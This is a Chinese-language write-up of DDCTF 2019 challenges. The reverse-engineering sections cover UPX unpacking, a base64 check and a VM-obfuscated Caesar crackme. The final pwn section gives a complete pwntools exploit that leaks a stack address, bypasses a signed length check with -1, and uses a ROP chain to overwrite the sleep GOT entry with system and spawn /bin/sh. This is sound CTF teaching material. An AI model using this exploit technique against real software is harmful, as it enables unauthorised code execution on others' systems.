Reverse1
题目链接
查看文件,发现是upx壳,我们用命令直接脱壳
thunder@thunder-PC:~/Desktop/CTF/reverse/DDCTF2019$ file reverse1_final.exe
reverse1_final.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
thunder@thunder-PC:~/Desktop/CTF/reverse/DDCTF2019$ upx -d reverse1_final.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
7680 <- 5632 73.33% win32/pe reverse1_final.exe
Unpacked 1 file.
我们脱完壳发现不能直接运行程序,我们可以使用PE Tools来关闭程序的ASLR即可运行
我们修改可选头中的DLL特征码
把DLL可以移动勾去掉即可运行程序
然后我们直接用IDA打开,找到关键函数
我们的输入经过check函数变化之后和DDCTF{reverseME}相同则成功,可以查看check函数
这里可以看到我们的输入和byte_402FF8内存的数据进行置换,我们用OD动态查看这块数据
找到映射关系即可写出exp
#include<stdio.h>
#include<string.h>
int main()
{
char key[] = "DDCTF{reverseME}";
for(int i=0;i<strlen(key);i++)
{
key[i] = 158 - key[i];
printf("%c",key[i]);
}
return 0;
}
测试结果
C:\Users\Thunder_J>D:\DDCTF\reverse1\reverse1_upacked.exe
please input code:ZZ[JX#,9(9,+9QY!
You've got it!!DDCTF{reverseME}
Reverse2
题目链接
查看程序发现有壳
我们用WASPACK进行脱壳,拖入IDA分析,可以看到有两处check
第一处check判断我们的输入是否为16进制的数据,并且输入为偶数
第二处check将我们的输入判断是字母还是数字,然后依次将字符转换为数值,存入v10后进入下一个函数
返回函数主要进行三次移位操作,然后根据索引表取出数据,然后异或0x76,索引表异或0x76的值和base64的索引表相同,三次位移操作又可以联想到base64加密,所以这里就是一个base64加密,具体也可以用OD动态调试可以看出
最后的flag也就是reverse+进行base64解密,但是最后加密完的字符需要全为大写,脚本如下:
import base64
import binascii
s = "reverse+"
a = base64.b64decode(s)
print binascii.b2a_hex(a).upper()
测试结果
C:\Users\Thunder_J >D:\DDCTF\reverse2\reverse2_final.exe
input code:ADEBDEAEC7BE
You've got it !!! DDCTF{reverse+}
Confused
题目链接
首先程序是mac下的,但是不要怕,我们直接逆xia0Crackme就行了,进去之后一堆看不懂的API,但是可以看到有一个checkcode的函数,我们进去看关键判断函数
函数内容如下
__int64 __fastcall sub_1000011D0(__int64 a1)
{
char v2; // [rsp+20h] [rbp-C0h]
__int64 v3; // [rsp+D8h] [rbp-8h]
v3 = a1;
memset(&v2, 0, 0xB8uLL);
sub_100001F60((__int64)&v2, a1);
return (unsigned int)sub_100001F00(&v2);
}
跟进sub_100001F60函数发现一堆赋值
__int64 __fastcall sub_100001F60(__int64 a1, __int64 a2)
{
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 176) = 0;
*(_BYTE *)(a1 + 32) = -16;
*(_QWORD *)(a1 + 40) = sub_100001D70;
*(_BYTE *)(a1 + 48) = -15;
*(_QWORD *)(a1 + 56) = sub_100001A60;
*(_BYTE *)(a1 + 64) = -14;
*(_QWORD *)(a1 + 72) = sub_100001AA0;
*(_BYTE *)(a1 + 80) = -12;
*(_QWORD *)(a1 + 88) = sub_100001CB0;
*(_BYTE *)(a1 + 96) = -11;
*(_QWORD *)(a1 + 104) = sub_100001CF0;
*(_BYTE *)(a1 + 112) = -13;
*(_QWORD *)(a1 + 120) = sub_100001B70;
*(_BYTE *)(a1 + 128) = -10;
*(_QWORD *)(a1 + 136) = sub_100001B10;
*(_BYTE *)(a1 + 144) = -9;
*(_QWORD *)(a1 + 152) = sub_100001D30;
*(_BYTE *)(a1 + 160) = -8;
*(_QWORD *)(a1 + 168) = sub_100001C60;
qword_100003F58 = malloc(0x400uLL);
return __memcpy_chk((char *)qword_100003F58 + 48, a2, 18LL, -1LL);
}
继续查看sub_100001F00函数,发现需要根据条件循环,这里可以联想到虚拟指令,对于虚拟指令这篇文章写的比较好:
https://www.52pojie.cn/forum.php?mod=viewthread&tid=860237&page=1
__int64 __fastcall sub_100001F00(__int64 a1)
{
*(_QWORD *)(a1 + 24) = (char *)&loc_100001980 + 4;
while ( **(unsigned __int8 **)(a1 + 24) != 243 )
sub_100001E50(a1);
free(qword_100003F58);
return *(unsigned int *)(a1 + 176);
}
这里借用40K0师傅的IDA分析文件来分析,虚拟指令的结构体如下
00000000 vm_struc struc ; (sizeof=0xB4, mappedto_59)
00000000 eax_ dd ?
00000004 ebx_ dd ?
00000008 ecx_ dd ?
0000000C edx_ dd ?
00000010 flag dd ?
00000014 field_14 dd ?
00000018 pc dq ?
00000020 code_F0 dq ?
00000028 mov_reg_imm dq ?
00000030 code_F1 dq ?
00000038 xor_eax_ebx dq ?
00000040 code_F2 dq ?
00000048 cmp_eax_imm dq ?
00000050 code_F4 dq ?
00000058 add_eax_ebx dq ?
00000060 code_F5 dq ?
00000068 sub_eax_ebx dq ?
00000070 code_F3 dq ?
00000078 nop dq ?
00000080 code_F6 dq ?
00000088 jz_imm dq ?
00000090 code_F7 dq ?
00000098 mov_buf_imm dq ?
000000A0 code_F8 dq ?
000000A8 enc_eax_2 dq ?
000000B0 buffer dd ?
000000B4 vm_struc ends
我们定到sub_100001F60函数,也就是赋值的函数,可以看到这里是初始化的地方
__int64 __fastcall init_vm(vm_struc *a1, char *input)
{
a1->eax_ = 0;
a1->ebx_ = 0;
a1->ecx_ = 0;
a1->edx_ = 0;
a1->flag = 0;
a1->buffer = 0;
LOBYTE(a1->code_F0) = -16; // eip指向opcode的位置
a1->mov_reg_imm = mov_reg_imm; // mov 立即数到寄存器,操作字节码与函数关联在一起
LOBYTE(a1->code_F1) = -15;
a1->xor_eax_ebx = xor_eax_ebx;
LOBYTE(a1->code_F2) = -14;
a1->cmp_eax_imm = cmp_eax_imm;
LOBYTE(a1->code_F4) = -12;
a1->add_eax_ebx = add_eax_ebx;
LOBYTE(a1->code_F5) = -11;
a1->sub_eax_ebx = sub_eax_ebx;
LOBYTE(a1->code_F3) = -13;
a1->nop = nop;
LOBYTE(a1->code_F6) = -10;
a1->jz_imm = jz_imm;
LOBYTE(a1->code_F7) = -9;
a1->mov_buf_imm = mov_buf_imm;
LOBYTE(a1->code_F8) = -8;
a1->enc_eax_2 = enc_eax_2; // 凯撒密码 key = 2
buffer = malloc(0x400uLL);
return __memcpy_chk((buffer + 48), input, 18LL, -1LL);
}
sub_100001F00函数则需要返回正确,如下所示
__int64 __fastcall equal_to_1(vm_struc *a1)
{
a1->pc = &loc_100001980 + 4; // a1 = vm
while ( *a1->pc != 0xF3 )
run(a1);
free(buffer);
return a1->buffer;
}
也就是说,我们需要按照loc_100001980处的索引表来运行,也就是下表,运行到0xF3则停止
data = [0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x30, 0xF6, 0xC1, 0xF0, 0x10, 0x63, 0x00, 0x00,
0x00, 0xF8, 0xF2, 0x31, 0xF6, 0xB6, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x32, 0xF6,
0xAB, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x33, 0xF6, 0xA0, 0xF0, 0x10, 0x6D, 0x00,
0x00, 0x00, 0xF8, 0xF2, 0x34, 0xF6, 0x95, 0xF0, 0x10, 0x57, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x35,
0xF6, 0x8A, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x36, 0xF6, 0x7F, 0xF0, 0x10, 0x73,
0x00, 0x00, 0x00, 0xF8, 0xF2, 0x37, 0xF6, 0x74, 0xF0, 0x10, 0x45, 0x00, 0x00, 0x00, 0xF8, 0xF2,
0x38, 0xF6, 0x69, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x39, 0xF6, 0x5E, 0xF0, 0x10,
0x72, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3A, 0xF6, 0x53, 0xF0, 0x10, 0x52, 0x00, 0x00, 0x00, 0xF8,
0xF2, 0x3B, 0xF6, 0x48, 0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3C, 0xF6, 0x3D, 0xF0,
0x10, 0x63, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3D, 0xF6, 0x32, 0xF0, 0x10, 0x44, 0x00, 0x00, 0x00,
0xF8, 0xF2, 0x3E, 0xF6, 0x27, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3F, 0xF6, 0x1C,
0xF0, 0x10, 0x79, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x40, 0xF6, 0x11, 0xF0, 0x10, 0x65, 0x00, 0x00,
0x00, 0xF8, 0xF2, 0x41, 0xF6, 0x06, 0xF7, 0x01, 0x00, 0x00, 0x00, 0xF3, 0xF7, 0x00, 0x00, 0x00,
0x00, 0xF3, 0x5D, 0xC3, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00]
翻译过来大概流程如下
1
mov_reg_imm 0x66
enc_eax_2
cmp_eax_imm 0x30
jz_imm 0xC1
2
mov_reg_imm 0x63
enc_eax_2
cmp_eax_imm 0x31
jz_imm 0xB6
3
mov_reg_imm 0x6A
enc_eax_2
cmp_eax_imm 0x32
jz_imm 0xAB
…
(循环18次)
也就是说这个程序流程是很有规律的,然而enc_eax_2函数的内容如下,是一个典型的凯撒密码
__int64 __fastcall sub_100001B80(char a1, int a2)
{
bool v3; // [rsp+7h] [rbp-11h]
bool v4; // [rsp+Fh] [rbp-9h]
char v5; // [rsp+17h] [rbp-1h]
v4 = 0;
if ( a1 >= 'A' )
v4 = a1 <= 'Z';
if ( v4 )
{
v5 = (a2 + a1 - 'A') % 26 + 'A';
}
else
{
v3 = 0;
if ( a1 >= 'a' )
v3 = a1 <= 'z';
if ( v3 )
v5 = (a2 + a1 - 'a') % 26 + 'a';
else
v5 = a1;
}
return v5;
}
我们就可以根据每一组一开始mov的字符串ASCII加2即可看出flag,如第一组0x66为字符串 f ,转化之后为 h ,依次下去就可以得到flag
题目.zip
(218.25 KB, 下载次数: 3)
[PWN] strike
题目链接
拿到程序先检查一下保护
thunder@thunder-PC:~/Desktop/CTF/pwn/DDCTF$ checksec xpwn '/home/thunder/Desktop/CTF/pwn/DDCTF/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
运行发现要我们输入名字,密码长度和密码,载入IDA进行分析
int __cdecl main(int a1)
{
int v1; // eax
char buf; // [esp+0h] [ebp-4Ch]
size_t nbytes; // [esp+40h] [ebp-Ch]
int *v5; // [esp+44h] [ebp-8h]
v5 = &a1;
setbuf(stdout, 0);
sub_80485DB(stdin, stdout);
sleep(1u);
printf("Please set the length of password: ");
nbytes = sub_804862D();
if ( (signed int)nbytes > 63 ) // 有符号整数,存在溢出
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);
puts("All done, bye!");
return 0;
}
先分析 sub_80485DB 可以看到这里没有 '\x00' 截断,可以泄露栈地址和libc地址,read函数只读了0x40的大小
int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
int v2; // eax
char buf; // [esp+0h] [ebp-48h]
printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);
}
下面的 sub_804862D 函数主要是转换一下输入,nptr在bss段无法利用,所以这里并没有可以利用的地方
int sub_804862D()
{
int v0; // eax
v0 = fileno(stdin);
read(v0, nptr, 0x10u);
return atoi(nptr);
}
可以看到主函数中 nbytes 是符号整形,限制了nbytes的大小必须小于63,由于长度受限,我不能直接溢出,但我们可以输入长度时可以输入 -1 进行绕过,这样read就会将长度转换为无符号数,也就会变的很大,如下图
thunder@thunder-PC:~/Desktop/CTF/pwn/DDCTF$ ./xpwn
Enter username: aaaa
Hello aaaa
��Please set the length of password: -1 # 输入 -1
Enter password(lenth 4294967295): bbb # 获得了很大的空间
All done, bye!
我们为什么要获得栈地址呢,因为最后函数的返回值如下图,是存在了 ecx-4 的地方,所以我们要通过劫持ecx来控制程序的流程,而不是直接溢出
.text:0804871D E8 1E FD FF FF call _read
.text:08048722 83 C4 10 add esp, 10h
.text:08048725 83 EC 0C sub esp, 0Ch
.text:08048728 68 35 88 04 08 push offset aAllDoneBye ; "All done, bye!"
.text:0804872D E8 3E FD FF FF call _puts
.text:08048732 83 C4 10 add esp, 10h
.text:08048735 B8 00 00 00 00 mov eax, 0
.text:0804873A 8D 65 F8 lea esp, [ebp-8]
.text:0804873D 59 pop ecx
.text:0804873E 5B pop ebx
.text:0804873F 5D pop ebp
.text:08048740 8D 61 FC lea esp, [ecx-4]
.text:08048743 C3 retn
第一处偏移调试如下
thunder@thunder-PC:~/Desktop/CTF/pwn/DDCTF$ gdb xpwn
...
pwndbg> b *0x08048610
Breakpoint 1 at 0x8048610
pwndbg> r
Starting program: /home/thunder/Desktop/CTF/pwn/DDCTF/xpwn
Enter username: aaaa
Breakpoint 1, 0x08048610 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────
EAX 0x5
EBX 0x0
ECX 0xffffbd00 ◂— 0x61616161 ('aaaa')
EDX 0x40
EDI 0x0
ESI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
EBP 0xffffbd48 —▸ 0xffffbdb8 ◂— 0x0
ESP 0xffffbcf0 ◂— 0x0
EIP 0x8048610 ◂— add esp, 0x10
────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────
► 0x8048610 add esp, 0x10
0x8048613 sub esp, 4
0x8048616 lea eax, [ebp - 0x48]
0x8048619 push eax
0x804861a push 0x80487e1
0x804861f push dword ptr [ebp + 0xc]
0x8048622 call fprintf@plt <0x80484a0>
0x8048627 add esp, 0x10
0x804862a nop
0x804862b leave
0x804862c ret
────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffbcf0 ◂— 0x0
01:0004│ 0xffffbcf4 —▸ 0xffffbd00 ◂— 0x61616161 ('aaaa')
02:0008│ 0xffffbcf8 ◂— 0x40 /* '@' */
03:000c│ 0xffffbcfc ◂— 0x0
04:0010│ ecx 0xffffbd00 ◂— 0x61616161 ('aaaa')
05:0014│ 0xffffbd04 —▸ 0x804820a ◂— add byte ptr [eax], al
06:0018│ 0xffffbd08 ◂— 0xc2
07:001c│ 0xffffbd0c ◂— 0x0
──────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
► f 0 8048610
f 1 80486a3
f 2 f7df0e81 __libc_start_main+241
Breakpoint *0x08048610
pwndbg> stack
00:0000│ esp 0xffffbcf0 ◂— 0x0
01:0004│ 0xffffbcf4 —▸ 0xffffbd00 ◂— 0x61616161 ('aaaa')
02:0008│ 0xffffbcf8 ◂— 0x40 /* '@' */
03:000c│ 0xffffbcfc ◂— 0x0
04:0010│ ecx 0xffffbd00 ◂— 0x61616161 ('aaaa')
05:0014│ 0xffffbd04 —▸ 0x804820a ◂— add byte ptr [eax], al
06:0018│ 0xffffbd08 ◂— 0xc2
07:001c│ 0xffffbd0c ◂— 0x0
pwndbg>
08:0020│ 0xffffbd10 —▸ 0xf7fdf3f9 (do_lookup_x+9) ◂— add ebx, 0x1dc07
09:0024│ 0xffffbd14 —▸ 0xf7de5318 ◂— inc ebx /* 'C,' */
0a:0028│ 0xffffbd18 —▸ 0xf7e3f85b (setbuffer+11) ◂— add edi, 0x16d7a5
0b:002c│ 0xffffbd1c ◂— 0x0
0c:0030│ 0xffffbd20 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
0d:0034│ 0xffffbd24 ◂— 0x0
0e:0038│ 0xffffbd28 —▸ 0xffffbdb8 ◂— 0x0
0f:003c│ 0xffffbd2c —▸ 0xf7e45e45 (setbuf+21) ◂— add esp, 0x1c
pwndbg>
10:0040│ 0xffffbd30 —▸ 0xf7fadd80 (_IO_2_1_stdout_) ◂— 0xfbad2887
11:0044│ 0xffffbd34 ◂— 0x0
12:0048│ 0xffffbd38 ◂— 0x2000
13:004c│ 0xffffbd3c —▸ 0xf7e45e30 (setbuf) ◂— sub esp, 0x10
14:0050│ 0xffffbd40 —▸ 0xf7fadd80 (_IO_2_1_stdout_) ◂— 0xfbad2887
15:0054│ 0xffffbd44 —▸ 0xf7ffd940 ◂— 0x0
16:0058│ ebp 0xffffbd48 —▸ 0xffffbdb8 ◂— 0x0
17:005c│ 0xffffbd4c —▸ 0x80486a3 ◂— add esp, 0x10
可以看到我们的输入在ecx的位置,而0xffffbd28 处的值和ebp一样,我们送 0x38-0x10 = 0x28大小的padding即可获得ebp的值,我们构造ebp-0x4c+4然后覆盖到push ecx那个地方就能劫持控制流了。最终的exp如下
from pwn import *
r = process('./xpwn')
elf = ELF('./xpwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#r = remote("116.85.48.105","5005")
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(r)
pop1_ret = 0x8048411
pop3_ret = 0x80487a9
r.recvuntil('Enter username: ')
r.send('a'*0x28)
r.recvuntil('a'*0x28)
stack_addr = u32(r.recv(4))
success('Stack address is : ' + hex(stack_addr))
r.recvuntil('password: ')
r.sendline('-1')
r.recvuntil(': ')
payload = p32(elf.symbols['puts']) + p32(pop1_ret) + p32(elf.got['puts'])
payload += p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(elf.got['sleep']) + p32(0xc)
payload += p32(elf.symbols['sleep'])+ p32(0xdeadbeef)
payload += p32(elf.got['sleep']+0x4)
payload = payload.ljust(0x44,'\x90')
payload += p32(stack_addr-0x4c + 0x4)
r.send(payload)
print r.recvline()
puts_addr = u32(r.recv(numb=4))
success('puts addr : ' + hex(puts_addr))
system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
payload2 = p32(system_addr)
payload2 += "/bin/sh\x00"
r.send(payload2)
r.interactive()